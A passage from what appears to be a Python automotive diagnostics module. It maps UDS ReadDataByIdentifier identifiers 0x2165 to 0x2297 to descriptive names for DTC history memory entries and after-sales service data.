2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x2165] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x2166] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x2167] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x2168] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x2169] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x216a] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x216b] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x216c] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x216d] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x216e] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x216f] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x2170] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x2171] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x2172] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x2173] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x2174] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x2175] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x2176] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x2177] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x2178] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x2179] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x217a] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x217b] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x217c] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x217d] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x217e] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x217f] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x2180] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x2181] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x2182] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x2183] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x2184] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x2185] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x2186] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x2187] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x2188] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x2189] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x218a] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x218b] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x218c] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x218d] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x218e] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x218f] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x2190] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x2191] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x2192] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x2193] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x2194] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x2195] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x2196] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x2197] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x2198] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x2199] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x219a] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x219b] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x219c] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x219d] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x219e] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x219f] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x21a0] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x21a1] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x21a2] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x21a3] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x21a4] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x21a5] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x21a6] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x21a7] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x21a8] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x21a9] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x21aa] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x21ab] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x21ac] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x21ad] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x21ae] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x21af] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x21b0] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x21b1] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x21b2] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x21b3] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x21b4] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x21b5] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x21b6] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x21b7] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x21b8] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x21b9] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x21ba] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x21bb] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x21bc] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x21bd] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x21be] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x21bf] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x21c0] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x21c1] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x21c2] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x21c3] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x21c4] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x21c5] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x21c6] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x21c7] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x21c8] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x21c9] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x21ca] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x21cb] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x21cc] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x21cd] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x21ce] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x21cf] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x21d0] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x21d1] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x21d2] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x21d3] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x21d4] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x21d5] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x21d6] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x21d7] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x21d8] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x21d9] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x21da] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x21db] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x21dc] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x21dd] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x21de] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x21df] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x21e0] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x21e1] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x21e2] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x21e3] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x21e4] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x21e5] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x21e6] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x21e7] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x21e8] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x21e9] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x21ea] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x21eb] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x21ec] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x21ed] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x21ee] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x21ef] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x21f0] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x21f1] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x21f2] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x21f3] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x21f4] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x21f5] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x21f6] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x21f7] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x21f8] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x21f9] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x21fa] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x21fb] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x21fc] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x21fd] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x21fe] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x21ff] = \"dtcHistoryMemoryEntry 2101-21FF\"\nUDS_RDBI.dataIdentifiers[0x2200] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x2201] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x2202] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x2203] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x2204] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x2205] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x2206] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x2207] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x2208] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x2209] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x220a] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x220b] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x220c] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x220d] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x220e] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x220f] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x2210] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x2211] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x2212] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x2213] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x2214] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x2215] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x2216] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x2217] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x2218] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x2219] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x221a] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x221b] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x221c] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x221d] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x221e] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x221f] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x2220] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x2221] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x2222] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x2223] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x2224] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x2225] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x2226] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x2227] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x2228] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x2229] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x222a] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x222b] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x222c] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x222d] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x222e] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x222f] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x2230] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x2231] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x2232] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x2233] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x2234] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x2235] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x2236] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x2237] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x2238] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x2239] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x223a] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x223b] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x223c] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x223d] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x223e] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x223f] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x2240] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x2241] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x2242] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x2243] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x2244] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x2245] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x2246] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x2247] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x2248] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x2249] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x224a] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x224b] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x224c] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x224d] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x224e] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x224f] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x2250] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x2251] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x2252] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x2253] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x2254] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x2255] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x2256] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x2257] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x2258] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x2259] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x225a] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x225b] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x225c] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x225d] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x225e] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x225f] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x2260] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x2261] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x2262] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x2263] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x2264] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x2265] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x2266] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x2267] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x2268] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x2269] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x226a] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x226b] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x226c] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x226d] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x226e] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x226f] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x2270] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x2271] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x2272] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x2273] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x2274] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x2275] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x2276] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x2277] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x2278] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x2279] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x227a] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x227b] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x227c] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x227d] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x227e] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x227f] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x2280] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x2281] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x2282] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x2283] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x2284] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x2285] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x2286] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x2287] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x2288] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x2289] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x228a] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x228b] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x228c] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x228d] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x228e] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x228f] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x2290] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x2291] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x2292] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x2293] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x2294] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x2295] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x2296] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x2297] = 